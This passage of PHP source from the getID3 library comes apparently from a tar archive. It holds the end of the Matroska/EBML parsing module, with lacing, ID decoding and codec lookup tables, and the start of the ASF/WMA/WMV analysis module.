		if ($block_data['flags']['lacing'] > 0) {
			$block_data['lace_frames'] = getid3_lib::BigEndian2Int($this->readEBMLelementData(1)) + 1; // Number of frames in the lace-1 (uint8)
			if ($block_data['flags']['lacing'] != 0x02) {
				for ($i = 1; $i < $block_data['lace_frames']; $i ++) { // Lace-coded size of each frame of the lace, except for the last one (multiple uint8). *This is not used with Fixed-size lacing as it is calculated automatically from (total size of lace) / (number of frames in lace).
					if ($block_data['flags']['lacing'] == 0x03) { // EBML lacing
						$block_data['lace_frames_size'][$i] = $this->readEBMLint(); // TODO: read size correctly, calc size for the last frame. For now offsets are deteminded OK with readEBMLint() and that's the most important thing.
					}
					else { // Xiph lacing
						$block_data['lace_frames_size'][$i] = 0;
						do {
							$size = getid3_lib::BigEndian2Int($this->readEBMLelementData(1));
							$block_data['lace_frames_size'][$i] += $size;
						}
						while ($size == 255);
					}
				}
				if ($block_data['flags']['lacing'] == 0x01) { // calc size of the last frame only for Xiph lacing, till EBML sizes are now anyway determined incorrectly
					$block_data['lace_frames_size'][] = $element['end'] - $this->current_offset - array_sum($block_data['lace_frames_size']);
				}
			}
		}

		if (!isset($info['matroska']['track_data_offsets'][$block_data['tracknumber']])) {
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['offset'] = $this->current_offset;
			$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'] = $element['end'] - $this->current_offset;
			//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] = 0;
		}
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['total_length'] += $info['matroska']['track_data_offsets'][$block_data['tracknumber']]['length'];
		//$info['matroska']['track_data_offsets'][$block_data['tracknumber']]['duration']      = $block_data['timecode'] * ((isset($info['matroska']['info'][0]['TimecodeScale']) ? $info['matroska']['info'][0]['TimecodeScale'] : 1000000) / 1000000000);

		// set offset manually
		$this->current_offset = $element['end'];

		return $block_data;
	}

	private static function EBML2Int($EBMLstring) {
		// http://matroska.org/specs/

		// Element ID coded with an UTF-8 like system:
		// 1xxx xxxx                                  - Class A IDs (2^7 -2 possible values) (base 0x8X)
		// 01xx xxxx  xxxx xxxx                       - Class B IDs (2^14-2 possible values) (base 0x4X 0xXX)
		// 001x xxxx  xxxx xxxx  xxxx xxxx            - Class C IDs (2^21-2 possible values) (base 0x2X 0xXX 0xXX)
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - Class D IDs (2^28-2 possible values) (base 0x1X 0xXX 0xXX 0xXX)
		// Values with all x at 0 and 1 are reserved (hence the -2).

		// Data size, in octets, is also coded with an UTF-8 like system :
		// 1xxx xxxx                                                                              - value 0 to  2^7-2
		// 01xx xxxx  xxxx xxxx                                                                   - value 0 to 2^14-2
		// 001x xxxx  xxxx xxxx  xxxx xxxx                                                        - value 0 to 2^21-2
		// 0001 xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                             - value 0 to 2^28-2
		// 0000 1xxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                                  - value 0 to 2^35-2
		// 0000 01xx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx                       - value 0 to 2^42-2
		// 0000 001x  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx            - value 0 to 2^49-2
		// 0000 0001  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx  xxxx xxxx - value 0 to 2^56-2

		$first_byte_int = ord($EBMLstring[0]);
		if (0x80 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x7F);
		} elseif (0x40 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x3F);
		} elseif (0x20 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x1F);
		} elseif (0x10 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x0F);
		} elseif (0x08 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x07);
		} elseif (0x04 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x03);
		} elseif (0x02 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x01);
		} elseif (0x01 & $first_byte_int) {
			$EBMLstring[0] = chr($first_byte_int & 0x00);
		}

		return getid3_lib::BigEndian2Int($EBMLstring);
	}

	private static function EBMLdate2unix($EBMLdatestamp) {
		// Date - signed 8 octets integer in nanoseconds with 0 indicating the precise beginning of the millennium (at 2001-01-01T00:00:00,000000000 UTC)
		// 978307200 == mktime(0, 0, 0, 1, 1, 2001) == January 1, 2001 12:00:00am UTC
		return round(($EBMLdatestamp / 1000000000) + 978307200);
	}

	public static function TargetTypeValue($target_type) {
		// http://www.matroska.org/technical/specs/tagging/index.html
		static $TargetTypeValue = array();
		if (empty($TargetTypeValue)) {
			$TargetTypeValue[10] = 'A: ~ V:shot';                                           // the lowest hierarchy found in music or movies
			$TargetTypeValue[20] = 'A:subtrack/part/movement ~ V:scene';                    // corresponds to parts of a track for audio (like a movement)
			$TargetTypeValue[30] = 'A:track/song ~ V:chapter';                              // the common parts of an album or a movie
			$TargetTypeValue[40] = 'A:part/session ~ V:part/session';                       // when an album or episode has different logical parts
			$TargetTypeValue[50] = 'A:album/opera/concert ~ V:movie/episode/concert';       // the most common grouping level of music and video (equals to an episode for TV series)
			$TargetTypeValue[60] = 'A:edition/issue/volume/opus ~ V:season/sequel/volume';  // a list of lower levels grouped together
			$TargetTypeValue[70] = 'A:collection ~ V:collection';                           // the high hierarchy consisting of many different lower items
		}
		return (isset($TargetTypeValue[$target_type]) ? $TargetTypeValue[$target_type] : $target_type);
	}

	public static function BlockLacingType($lacingtype) {
		// http://matroska.org/technical/specs/index.html#block_structure
		static $BlockLacingType = array();
		if (empty($BlockLacingType)) {
			$BlockLacingType[0x00] = 'no lacing';
			$BlockLacingType[0x01] = 'Xiph lacing';
			$BlockLacingType[0x02] = 'fixed-size lacing';
			$BlockLacingType[0x03] = 'EBML lacing';
		}
		return (isset($BlockLacingType[$lacingtype]) ? $BlockLacingType[$lacingtype] : $lacingtype);
	}

	public static function CodecIDtoCommonName($codecid) {
		// http://www.matroska.org/technical/specs/codecid/index.html
		static $CodecIDlist = array();
		if (empty($CodecIDlist)) {
			$CodecIDlist['A_AAC']            = 'aac';
			$CodecIDlist['A_AAC/MPEG2/LC']   = 'aac';
			$CodecIDlist['A_AC3']            = 'ac3';
			$CodecIDlist['A_EAC3']           = 'eac3';
			$CodecIDlist['A_DTS']            = 'dts';
			$CodecIDlist['A_FLAC']           = 'flac';
			$CodecIDlist['A_MPEG/L1']        = 'mp1';
			$CodecIDlist['A_MPEG/L2']        = 'mp2';
			$CodecIDlist['A_MPEG/L3']        = 'mp3';
			$CodecIDlist['A_PCM/INT/LIT']    = 'pcm';       // PCM Integer Little Endian
			$CodecIDlist['A_PCM/INT/BIG']    = 'pcm';       // PCM Integer Big Endian
			$CodecIDlist['A_QUICKTIME/QDMC'] = 'quicktime'; // Quicktime: QDesign Music
			$CodecIDlist['A_QUICKTIME/QDM2'] = 'quicktime'; // Quicktime: QDesign Music v2
			$CodecIDlist['A_VORBIS']         = 'vorbis';
			$CodecIDlist['V_MPEG1']          = 'mpeg';
			$CodecIDlist['V_THEORA']         = 'theora';
			$CodecIDlist['V_REAL/RV40']      = 'real';
			$CodecIDlist['V_REAL/RV10']      = 'real';
			$CodecIDlist['V_REAL/RV20']      = 'real';
			$CodecIDlist['V_REAL/RV30']      = 'real';
			$CodecIDlist['V_QUICKTIME']      = 'quicktime'; // Quicktime
			$CodecIDlist['V_MPEG4/ISO/AP']   = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/ASP']  = 'mpeg4';
			$CodecIDlist['V_MPEG4/ISO/AVC']  = 'h264';
			$CodecIDlist['V_MPEG4/ISO/SP']   = 'mpeg4';
			$CodecIDlist['V_VP8']            = 'vp8';
			$CodecIDlist['V_MS/VFW/FOURCC']  = 'vcm'; // Microsoft (TM) Video Codec Manager (VCM)
			$CodecIDlist['A_MS/ACM']         = 'acm'; // Microsoft (TM) Audio Codec Manager (ACM)
		}
		return (isset($CodecIDlist[$codecid]) ? $CodecIDlist[$codecid] : $codecid);
	}

	private static function EBMLidName($value) {
		static $EBMLidList = array();
		if (empty($EBMLidList)) {
			$EBMLidList[EBML_ID_ASPECTRATIOTYPE]            = 'AspectRatioType';
			$EBMLidList[EBML_ID_ATTACHEDFILE]               = 'AttachedFile';
			$EBMLidList[EBML_ID_ATTACHMENTLINK]             = 'AttachmentLink';
			$EBMLidList[EBML_ID_ATTACHMENTS]                = 'Attachments';
			$EBMLidList[EBML_ID_AUDIO]                      = 'Audio';
			$EBMLidList[EBML_ID_BITDEPTH]                   = 'BitDepth';
			$EBMLidList[EBML_ID_CHANNELPOSITIONS]           = 'ChannelPositions';
			$EBMLidList[EBML_ID_CHANNELS]                   = 'Channels';
			$EBMLidList[EBML_ID_CHAPCOUNTRY]                = 'ChapCountry';
			$EBMLidList[EBML_ID_CHAPLANGUAGE]               = 'ChapLanguage';
			$EBMLidList[EBML_ID_CHAPPROCESS]                = 'ChapProcess';
			$EBMLidList[EBML_ID_CHAPPROCESSCODECID]         = 'ChapProcessCodecID';
			$EBMLidList[EBML_ID_CHAPPROCESSCOMMAND]         = 'ChapProcessCommand';
			$EBMLidList[EBML_ID_CHAPPROCESSDATA]            = 'ChapProcessData';
			$EBMLidList[EBML_ID_CHAPPROCESSPRIVATE]         = 'ChapProcessPrivate';
			$EBMLidList[EBML_ID_CHAPPROCESSTIME]            = 'ChapProcessTime';
			$EBMLidList[EBML_ID_CHAPSTRING]                 = 'ChapString';
			$EBMLidList[EBML_ID_CHAPTERATOM]                = 'ChapterAtom';
			$EBMLidList[EBML_ID_CHAPTERDISPLAY]             = 'ChapterDisplay';
			$EBMLidList[EBML_ID_CHAPTERFLAGENABLED]         = 'ChapterFlagEnabled';
			$EBMLidList[EBML_ID_CHAPTERFLAGHIDDEN]          = 'ChapterFlagHidden';
			$EBMLidList[EBML_ID_CHAPTERPHYSICALEQUIV]       = 'ChapterPhysicalEquiv';
			$EBMLidList[EBML_ID_CHAPTERS]                   = 'Chapters';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTEDITIONUID]   = 'ChapterSegmentEditionUID';
			$EBMLidList[EBML_ID_CHAPTERSEGMENTUID]          = 'ChapterSegmentUID';
			$EBMLidList[EBML_ID_CHAPTERTIMEEND]             = 'ChapterTimeEnd';
			$EBMLidList[EBML_ID_CHAPTERTIMESTART]           = 'ChapterTimeStart';
			$EBMLidList[EBML_ID_CHAPTERTRACK]               = 'ChapterTrack';
			$EBMLidList[EBML_ID_CHAPTERTRACKNUMBER]         = 'ChapterTrackNumber';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATE]           = 'ChapterTranslate';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATECODEC]      = 'ChapterTranslateCodec';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEEDITIONUID] = 'ChapterTranslateEditionUID';
			$EBMLidList[EBML_ID_CHAPTERTRANSLATEID]         = 'ChapterTranslateID';
			$EBMLidList[EBML_ID_CHAPTERUID]                 = 'ChapterUID';
			$EBMLidList[EBML_ID_CLUSTER]                    = 'Cluster';
			$EBMLidList[EBML_ID_CLUSTERBLOCK]               = 'ClusterBlock';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDID]          = 'ClusterBlockAddID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONAL]     = 'ClusterBlockAdditional';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONID]     = 'ClusterBlockAdditionID';
			$EBMLidList[EBML_ID_CLUSTERBLOCKADDITIONS]      = 'ClusterBlockAdditions';
			$EBMLidList[EBML_ID_CLUSTERBLOCKDURATION]       = 'ClusterBlockDuration';
			$EBMLidList[EBML_ID_CLUSTERBLOCKGROUP]          = 'ClusterBlockGroup';
			$EBMLidList[EBML_ID_CLUSTERBLOCKMORE]           = 'ClusterBlockMore';
			$EBMLidList[EBML_ID_CLUSTERBLOCKVIRTUAL]        = 'ClusterBlockVirtual';
			$EBMLidList[EBML_ID_CLUSTERCODECSTATE]          = 'ClusterCodecState';
			$EBMLidList[EBML_ID_CLUSTERDELAY]               = 'ClusterDelay';
			$EBMLidList[EBML_ID_CLUSTERDURATION]            = 'ClusterDuration';
			$EBMLidList[EBML_ID_CLUSTERENCRYPTEDBLOCK]      = 'ClusterEncryptedBlock';
			$EBMLidList[EBML_ID_CLUSTERFRAMENUMBER]         = 'ClusterFrameNumber';
			$EBMLidList[EBML_ID_CLUSTERLACENUMBER]          = 'ClusterLaceNumber';
			$EBMLidList[EBML_ID_CLUSTERPOSITION]            = 'ClusterPosition';
			$EBMLidList[EBML_ID_CLUSTERPREVSIZE]            = 'ClusterPrevSize';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEBLOCK]      = 'ClusterReferenceBlock';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEPRIORITY]   = 'ClusterReferencePriority';
			$EBMLidList[EBML_ID_CLUSTERREFERENCEVIRTUAL]    = 'ClusterReferenceVirtual';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKNUMBER]   = 'ClusterSilentTrackNumber';
			$EBMLidList[EBML_ID_CLUSTERSILENTTRACKS]        = 'ClusterSilentTracks';
			$EBMLidList[EBML_ID_CLUSTERSIMPLEBLOCK]         = 'ClusterSimpleBlock';
			$EBMLidList[EBML_ID_CLUSTERTIMECODE]            = 'ClusterTimecode';
			$EBMLidList[EBML_ID_CLUSTERTIMESLICE]           = 'ClusterTimeSlice';
			$EBMLidList[EBML_ID_CODECDECODEALL]             = 'CodecDecodeAll';
			$EBMLidList[EBML_ID_CODECDOWNLOADURL]           = 'CodecDownloadURL';
			$EBMLidList[EBML_ID_CODECID]                    = 'CodecID';
			$EBMLidList[EBML_ID_CODECINFOURL]               = 'CodecInfoURL';
			$EBMLidList[EBML_ID_CODECNAME]                  = 'CodecName';
			$EBMLidList[EBML_ID_CODECPRIVATE]               = 'CodecPrivate';
			$EBMLidList[EBML_ID_CODECSETTINGS]              = 'CodecSettings';
			$EBMLidList[EBML_ID_COLOURSPACE]                = 'ColourSpace';
			$EBMLidList[EBML_ID_CONTENTCOMPALGO]            = 'ContentCompAlgo';
			$EBMLidList[EBML_ID_CONTENTCOMPRESSION]         = 'ContentCompression';
			$EBMLidList[EBML_ID_CONTENTCOMPSETTINGS]        = 'ContentCompSettings';
			$EBMLidList[EBML_ID_CONTENTENCALGO]             = 'ContentEncAlgo';
			$EBMLidList[EBML_ID_CONTENTENCKEYID]            = 'ContentEncKeyID';
			$EBMLidList[EBML_ID_CONTENTENCODING]            = 'ContentEncoding';
			$EBMLidList[EBML_ID_CONTENTENCODINGORDER]       = 'ContentEncodingOrder';
			$EBMLidList[EBML_ID_CONTENTENCODINGS]           = 'ContentEncodings';
			$EBMLidList[EBML_ID_CONTENTENCODINGSCOPE]       = 'ContentEncodingScope';
			$EBMLidList[EBML_ID_CONTENTENCODINGTYPE]        = 'ContentEncodingType';
			$EBMLidList[EBML_ID_CONTENTENCRYPTION]          = 'ContentEncryption';
			$EBMLidList[EBML_ID_CONTENTSIGALGO]             = 'ContentSigAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGHASHALGO]         = 'ContentSigHashAlgo';
			$EBMLidList[EBML_ID_CONTENTSIGKEYID]            = 'ContentSigKeyID';
			$EBMLidList[EBML_ID_CONTENTSIGNATURE]           = 'ContentSignature';
			$EBMLidList[EBML_ID_CRC32]                      = 'CRC32';
			$EBMLidList[EBML_ID_CUEBLOCKNUMBER]             = 'CueBlockNumber';
			$EBMLidList[EBML_ID_CUECLUSTERPOSITION]         = 'CueClusterPosition';
			$EBMLidList[EBML_ID_CUECODECSTATE]              = 'CueCodecState';
			$EBMLidList[EBML_ID_CUEPOINT]                   = 'CuePoint';
			$EBMLidList[EBML_ID_CUEREFCLUSTER]              = 'CueRefCluster';
			$EBMLidList[EBML_ID_CUEREFCODECSTATE]           = 'CueRefCodecState';
			$EBMLidList[EBML_ID_CUEREFERENCE]               = 'CueReference';
			$EBMLidList[EBML_ID_CUEREFNUMBER]               = 'CueRefNumber';
			$EBMLidList[EBML_ID_CUEREFTIME]                 = 'CueRefTime';
			$EBMLidList[EBML_ID_CUES]                       = 'Cues';
			$EBMLidList[EBML_ID_CUETIME]                    = 'CueTime';
			$EBMLidList[EBML_ID_CUETRACK]                   = 'CueTrack';
			$EBMLidList[EBML_ID_CUETRACKPOSITIONS]          = 'CueTrackPositions';
			$EBMLidList[EBML_ID_DATEUTC]                    = 'DateUTC';
			$EBMLidList[EBML_ID_DEFAULTDURATION]            = 'DefaultDuration';
			$EBMLidList[EBML_ID_DISPLAYHEIGHT]              = 'DisplayHeight';
			$EBMLidList[EBML_ID_DISPLAYUNIT]                = 'DisplayUnit';
			$EBMLidList[EBML_ID_DISPLAYWIDTH]               = 'DisplayWidth';
			$EBMLidList[EBML_ID_DOCTYPE]                    = 'DocType';
			$EBMLidList[EBML_ID_DOCTYPEREADVERSION]         = 'DocTypeReadVersion';
			$EBMLidList[EBML_ID_DOCTYPEVERSION]             = 'DocTypeVersion';
			$EBMLidList[EBML_ID_DURATION]                   = 'Duration';
			$EBMLidList[EBML_ID_EBML]                       = 'EBML';
			$EBMLidList[EBML_ID_EBMLMAXIDLENGTH]            = 'EBMLMaxIDLength';
			$EBMLidList[EBML_ID_EBMLMAXSIZELENGTH]          = 'EBMLMaxSizeLength';
			$EBMLidList[EBML_ID_EBMLREADVERSION]            = 'EBMLReadVersion';
			$EBMLidList[EBML_ID_EBMLVERSION]                = 'EBMLVersion';
			$EBMLidList[EBML_ID_EDITIONENTRY]               = 'EditionEntry';
			$EBMLidList[EBML_ID_EDITIONFLAGDEFAULT]         = 'EditionFlagDefault';
			$EBMLidList[EBML_ID_EDITIONFLAGHIDDEN]          = 'EditionFlagHidden';
			$EBMLidList[EBML_ID_EDITIONFLAGORDERED]         = 'EditionFlagOrdered';
			$EBMLidList[EBML_ID_EDITIONUID]                 = 'EditionUID';
			$EBMLidList[EBML_ID_FILEDATA]                   = 'FileData';
			$EBMLidList[EBML_ID_FILEDESCRIPTION]            = 'FileDescription';
			$EBMLidList[EBML_ID_FILEMIMETYPE]               = 'FileMimeType';
			$EBMLidList[EBML_ID_FILENAME]                   = 'FileName';
			$EBMLidList[EBML_ID_FILEREFERRAL]               = 'FileReferral';
			$EBMLidList[EBML_ID_FILEUID]                    = 'FileUID';
			$EBMLidList[EBML_ID_FLAGDEFAULT]                = 'FlagDefault';
			$EBMLidList[EBML_ID_FLAGENABLED]                = 'FlagEnabled';
			$EBMLidList[EBML_ID_FLAGFORCED]                 = 'FlagForced';
			$EBMLidList[EBML_ID_FLAGINTERLACED]             = 'FlagInterlaced';
			$EBMLidList[EBML_ID_FLAGLACING]                 = 'FlagLacing';
			$EBMLidList[EBML_ID_GAMMAVALUE]                 = 'GammaValue';
			$EBMLidList[EBML_ID_INFO]                       = 'Info';
			$EBMLidList[EBML_ID_LANGUAGE]                   = 'Language';
			$EBMLidList[EBML_ID_MAXBLOCKADDITIONID]         = 'MaxBlockAdditionID';
			$EBMLidList[EBML_ID_MAXCACHE]                   = 'MaxCache';
			$EBMLidList[EBML_ID_MINCACHE]                   = 'MinCache';
			$EBMLidList[EBML_ID_MUXINGAPP]                  = 'MuxingApp';
			$EBMLidList[EBML_ID_NAME]                       = 'Name';
			$EBMLidList[EBML_ID_NEXTFILENAME]               = 'NextFilename';
			$EBMLidList[EBML_ID_NEXTUID]                    = 'NextUID';
			$EBMLidList[EBML_ID_OUTPUTSAMPLINGFREQUENCY]    = 'OutputSamplingFrequency';
			$EBMLidList[EBML_ID_PIXELCROPBOTTOM]            = 'PixelCropBottom';
			$EBMLidList[EBML_ID_PIXELCROPLEFT]              = 'PixelCropLeft';
			$EBMLidList[EBML_ID_PIXELCROPRIGHT]             = 'PixelCropRight';
			$EBMLidList[EBML_ID_PIXELCROPTOP]               = 'PixelCropTop';
			$EBMLidList[EBML_ID_PIXELHEIGHT]                = 'PixelHeight';
			$EBMLidList[EBML_ID_PIXELWIDTH]                 = 'PixelWidth';
			$EBMLidList[EBML_ID_PREVFILENAME]               = 'PrevFilename';
			$EBMLidList[EBML_ID_PREVUID]                    = 'PrevUID';
			$EBMLidList[EBML_ID_SAMPLINGFREQUENCY]          = 'SamplingFrequency';
			$EBMLidList[EBML_ID_SEEK]                       = 'Seek';
			$EBMLidList[EBML_ID_SEEKHEAD]                   = 'SeekHead';
			$EBMLidList[EBML_ID_SEEKID]                     = 'SeekID';
			$EBMLidList[EBML_ID_SEEKPOSITION]               = 'SeekPosition';
			$EBMLidList[EBML_ID_SEGMENT]                    = 'Segment';
			$EBMLidList[EBML_ID_SEGMENTFAMILY]              = 'SegmentFamily';
			$EBMLidList[EBML_ID_SEGMENTFILENAME]            = 'SegmentFilename';
			$EBMLidList[EBML_ID_SEGMENTUID]                 = 'SegmentUID';
			$EBMLidList[EBML_ID_SIMPLETAG]                  = 'SimpleTag';
			$EBMLidList[EBML_ID_CLUSTERSLICES]              = 'ClusterSlices';
			$EBMLidList[EBML_ID_STEREOMODE]                 = 'StereoMode';
			$EBMLidList[EBML_ID_OLDSTEREOMODE]              = 'OldStereoMode';
			$EBMLidList[EBML_ID_TAG]                        = 'Tag';
			$EBMLidList[EBML_ID_TAGATTACHMENTUID]           = 'TagAttachmentUID';
			$EBMLidList[EBML_ID_TAGBINARY]                  = 'TagBinary';
			$EBMLidList[EBML_ID_TAGCHAPTERUID]              = 'TagChapterUID';
			$EBMLidList[EBML_ID_TAGDEFAULT]                 = 'TagDefault';
			$EBMLidList[EBML_ID_TAGEDITIONUID]              = 'TagEditionUID';
			$EBMLidList[EBML_ID_TAGLANGUAGE]                = 'TagLanguage';
			$EBMLidList[EBML_ID_TAGNAME]                    = 'TagName';
			$EBMLidList[EBML_ID_TAGTRACKUID]                = 'TagTrackUID';
			$EBMLidList[EBML_ID_TAGS]                       = 'Tags';
			$EBMLidList[EBML_ID_TAGSTRING]                  = 'TagString';
			$EBMLidList[EBML_ID_TARGETS]                    = 'Targets';
			$EBMLidList[EBML_ID_TARGETTYPE]                 = 'TargetType';
			$EBMLidList[EBML_ID_TARGETTYPEVALUE]            = 'TargetTypeValue';
			$EBMLidList[EBML_ID_TIMECODESCALE]              = 'TimecodeScale';
			$EBMLidList[EBML_ID_TITLE]                      = 'Title';
			$EBMLidList[EBML_ID_TRACKENTRY]                 = 'TrackEntry';
			$EBMLidList[EBML_ID_TRACKNUMBER]                = 'TrackNumber';
			$EBMLidList[EBML_ID_TRACKOFFSET]                = 'TrackOffset';
			$EBMLidList[EBML_ID_TRACKOVERLAY]               = 'TrackOverlay';
			$EBMLidList[EBML_ID_TRACKS]                     = 'Tracks';
			$EBMLidList[EBML_ID_TRACKTIMECODESCALE]         = 'TrackTimecodeScale';
			$EBMLidList[EBML_ID_TRACKTRANSLATE]             = 'TrackTranslate';
			$EBMLidList[EBML_ID_TRACKTRANSLATECODEC]        = 'TrackTranslateCodec';
			$EBMLidList[EBML_ID_TRACKTRANSLATEEDITIONUID]   = 'TrackTranslateEditionUID';
			$EBMLidList[EBML_ID_TRACKTRANSLATETRACKID]      = 'TrackTranslateTrackID';
			$EBMLidList[EBML_ID_TRACKTYPE]                  = 'TrackType';
			$EBMLidList[EBML_ID_TRACKUID]                   = 'TrackUID';
			$EBMLidList[EBML_ID_VIDEO]                      = 'Video';
			$EBMLidList[EBML_ID_VOID]                       = 'Void';
			$EBMLidList[EBML_ID_WRITINGAPP]                 = 'WritingApp';
		}

		return (isset($EBMLidList[$value]) ? $EBMLidList[$value] : dechex($value));
	}

	public static function displayUnit($value) {
		// http://www.matroska.org/technical/specs/index.html#DisplayUnit
		static $units = array(
			0 => 'pixels',
			1 => 'centimeters',
			2 => 'inches',
			3 => 'Display Aspect Ratio');

		return (isset($units[$value]) ? $units[$value] : 'unknown');
	}

	private static function getDefaultStreamInfo($streams)
	{
		foreach (array_reverse($streams) as $stream) {
			if ($stream['default']) {
				break;
			}
		}

		$unset = array('default', 'name');
		foreach ($unset as $u) {
			if (isset($stream[$u])) {
				unset($stream[$u]);
			}
		}

		$info = $stream;
		$info['streams'] = $streams;

		return $info;
	}

}
editor/libraries/classes/vendor/getid3/getid3/module.audio-video.asf.php000060400000367752150750527150022277 0ustar00<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////
// See readme.txt for more details                             //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.asf.php                                  //
// module for analyzing ASF, WMA and WMV files                 //
// dependencies: module.audio-video.riff.php                   //
//                                                            ///
/////////////////////////////////////////////////////////////////

getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

class getid3_asf extends getid3_handler {

	public function __construct(getID3 $getid3) {
		parent::__construct($getid3);  // extends getid3_handler::__construct()

		// initialize all GUID constants
		$GUIDarray = $this->KnownGUIDs();
		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
			if (!defined($GUIDname)) {
				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
			}
		}
	}

	public function Analyze() {
		$info = &$this->getid3->info;

		// Shortcuts
		$thisfile_audio = &$info['audio'];
		$thisfile_video = &$info['video'];
		$info['asf']  = array();
		$thisfile_asf = &$info['asf'];
		$thisfile_asf['comments'] = array();
		$thisfile_asf_comments    = &$thisfile_asf['comments'];
		$thisfile_asf['header_object'] = array();
		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];


		// ASF structure:
		// * Header Object [required]
		//   * File Properties Object [required]   (global file attributes)
		//   * Stream Properties Object [required] (defines media stream & characteristics)
		//   * Header Extension Object [required]  (additional functionality)
		//   * Content Description Object          (bibliographic information)
		//   * Script Command Object               (commands for during playback)
		//   * Marker Object                       (named jumped points within the file)
		// * Data Object [required]
		//   * Data Packets
		// * Index Object

		// Header Object: (mandatory, one only)
		// Field Name                   Field Type   Size (bits)
		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
		// Number of Header Objects     DWORD        32              // number of objects in header object
		// Reserved1                    BYTE         8               // hardcoded: 0x01
		// Reserved2                    BYTE         8               // hardcoded: 0x02

		$info['fileformat'] = 'asf';

		$this->fseek($info['avdataoffset']);
		$HeaderObjectData = $this->fread(30);

		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
			unset($info['fileformat'], $info['asf']);
			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
		}
		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));

		$NextObjectOffset = $this->ftell();
		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
		$offset = 0;

		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
			$offset += 8;
			switch ($NextObjectGUID) {

				case GETID3_ASF_File_Properties_Object:
					// File Properties Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
					// Flags                        DWORD        32              //
					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
					// * Seekable Flag              bits         1  (0x02)       // is file seekable
					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
